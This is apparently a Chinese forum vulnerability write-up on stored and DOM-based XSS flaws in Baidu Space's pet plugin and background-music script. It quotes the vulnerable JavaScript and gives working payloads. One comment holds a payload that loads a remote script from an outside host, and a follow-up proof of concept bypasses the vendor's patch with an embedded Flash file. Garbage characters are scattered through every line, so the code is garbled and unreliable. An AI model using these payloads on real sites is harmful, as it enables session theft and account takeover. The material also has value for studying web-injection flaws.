百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ o0 T% Q# a/ g: J7 x3 V" |+ A9 ~: d0 R8 p# ]4 i& }2 }
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
1 o, A: o' |% U2 F/ f+ s2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ( F2 g7 f: p( m2 x2 r
0 O& V! h4 o! @( ?
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> ! f' S- ^- f$ V' T9 U
其中BdUtil.insertWBR为
8 l2 R1 f8 L& N; ?7 v- jfunction(text, step) { 1 f s/ e1 p) K2 t# o
var textarea = textAreaCache || getContainer();
# \ w C5 b) n1 T if (!textarea) { + B# H, [, M! K0 r& S x8 A
return text; 1 z2 @! O* Q1 ]* A
} ( y0 H1 `" G$ ^' ~
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 2 v3 U" |: H4 z! T& ^5 y) s
var string = textarea.value; % w1 n+ l& R* R# l
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ' T6 [* R" O, ^' N
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 8 v6 r& G/ R6 |; T
return result;
. {+ }% k) w# B0 i* I- `6 q} 4 p3 _0 D) ~ x: v" ?
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. $ D/ l9 {8 G$ G6 k' N' I4 s
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> / ~3 Q4 P# j+ A7 X5 z
6 s. P( _* v) r z$ _二:creatbgmusic() Dom-Xss Bug
( C" W- |- F0 y6 e百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 9 H5 `" Q- F. G8 i
1 L' P! _$ t! f& J在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: ( E; s8 B2 v3 G
" N5 w, |; H8 p/ A; l5 @1 J2 W5 ]
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
# m! o# x1 ?' Y& X5 n //传入的murl赋值到bgmusic1和bgmusic2中 ) w9 i$ t F1 `6 ~* e s. y
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
X8 ^% A5 s( H% v# [* C) |9 J var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
4 E9 e, \6 ]0 k5 J if (musicnum <= 1) {
2 F* Q* h+ H7 x) E0 f6 P6 T s bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
" t" n p6 F* P( {2 f" D8 S }
+ n. @$ i; I [7 i0 u- D bgmusic1 += "</OBJECT>";
2 k# [; W8 Z, T( P/ H var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
$ h! }, V* [7 z; d( q1 C$ D( s" u if (musicnum <= 1) {
5 @5 ]) a1 ?& G+ P7 k3 F7 N bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
; C- Q1 U* |6 J3 R7 D# z }
( I' y' L6 J# |$ i' m6 } bgmusic2 += "> </EMBED>";
" r$ y* X0 Z5 X% Y6 m- U3 T( G var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 6 c, u+ x- j$ l& i4 I
var bgmus = detectWMP(); 5 d7 N8 R5 C# b% O5 y
if (functype == "FckMusicHelper") {
% U; |8 Q2 X. i( B8 H$ p if (bgmus.installed) {
% r' d" T: U- z e/ W8 ] if (bgmus.type == "IE") {
9 `, D4 A: p7 I ^6 x return bgmusic1;
4 J7 Z& Q, t' O, W d' L4 i } else if (bgmus.type == "NS") { 9 B4 x2 i% j5 q2 G1 E1 y: L' t
return bgmusic2;
/ D8 N+ N; b$ B6 _8 e; w } 6 L [2 @8 p, k/ k4 m5 x
} else { 6 B6 U1 ^; e2 i J5 P `: e$ u
return bgmusic3; 6 j" P8 S0 D3 q* J8 ?' |
}
3 X0 R0 _, Z! G; V0 l3 _, ? } else { ( _& L/ c0 h* a% |& z& q+ {
if (bgmus.installed) { . z. d/ w6 ?2 P; d. _
//document.write 直接输出bgmusic变量 导致xss , K8 j6 ~( a' \2 B8 Q, \! G+ e
if (bgmus.type == "IE") { . M6 d* R9 Y0 U2 C) h
document.write(bgmusic1); 5 E/ ^3 P2 c# d: M2 Z; i+ Z) s
} else if (bgmus.type == "NS") { ' p7 B! w/ |" Z# L5 _" H7 z
document.write(bgmusic2);
, {: S* \6 N: k& ?3 L. }* ~" Q }
; q. r8 |$ l4 e5 H% }* K } else { ( N7 w4 D, q" O# H. ]* C: T
document.write(bgmusic3); 0 A7 o. f3 K) ?, h
} * W4 e% M4 T. }1 s# c
return "";
: V. \9 p, h( @! k8 S } , E" n: u n3 f& n+ A9 e, R
} 8 V( F, _. A2 A- \" ]! Z2 q
+ L' {/ H* H% d) W: w在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 8 _8 h7 N; s0 r4 |2 o' s
' x6 ?# ?9 c' V
function initBlogTextForFCK(){
' i+ O! Z5 z) H//fck init music
l9 L6 i1 N# i* b+ vif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ! ]. u/ {( T) k$ A
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 * |) ^% j2 ? x: d& I
var isAutoPlay=true;
' j7 k- x% b; z# N1 O+ C1 s7 ]& sfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
" d$ p( e5 ^# S! O( y( } var img=imgBox; ; q" S7 P/ d. A' _$ E& u3 X0 S
if(img.getAttribute(’rel’)){ % R& g0 n2 N/ V6 k" t
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
7 S2 ]' ` b1 K5 g9 b+ N6 g var musicDiv = document.createElement("SPAN"); # t1 D$ i; \: d
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
) \8 l: N. @0 A I8 `
" @9 s# p" h7 r; R k ..........................
- y! c- g6 l. q4 v+ ^2 y
& K8 v; x6 h7 y" V C5 h2 D //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ) R+ F' L9 J5 ^% n' t2 B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 7 u0 T& }1 P, {+ P
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ; N2 G. W$ d- H# Y
musicDiv.innerHTML=shtml;
7 n- m$ \* P& L i--;n--; ) V! F% K: N0 m) S9 U {
}
* m( b. ~9 x: s. m2 x: V/ U}
8 Z! S; F/ V; Y* J# W; e+ ?4 I3 ^2 ?" r2 Y; C T: A/ J6 [
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
* X' t/ e1 F/ `
' Q. m+ t5 X8 Y测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> . T4 N1 A$ N+ _* K- |6 `% a2 t1 ]
8 I" d/ A: m$ F2 O& F3 A
等待官方补丁
$ \9 q/ U: I/ P/ U; M7 Y. g
. {5 y1 q& o0 s) ^' r3 lupdate 2010年5月13日
4 X0 t& ^+ o o' @* o/ Z% S& S/ H8 G3 I# ?3 V4 l! R2 z+ H3 z
官方补丁: z8 W' e) I% ?0 ]4 K& Z
; w* b! L; i7 X3 | h$ v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
: D. Z3 T- `8 n改为:
( M8 ]; |/ X7 i. X- i" ]8 [: qvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
4 h3 P) l. p% i
2 C* a. [: Z% n6 dupdate 2010年5月13日 21:50:37 6 s% u; N9 H$ l2 N8 I+ x0 ?: J
- q) ^ ~) D6 I" J: {! k* h5 c
补丁存在漏洞 没有过滤" 可以继续跨:
& `" E% Q8 e/ z/ i4 R/ F& j% ?( |' y. u, Q" M
NEW POC:
) O1 o) h% Z9 S4 ^* N# m# a
. M2 I+ f% y4 m- f; t7 s<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" # ^7 e3 K/ i( d& f4 b
, @% |0 {( i. Qallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
- A1 X4 R8 Z7 s* j: [ : }3 _( D/ d( s3 R+ d8 X7 I
|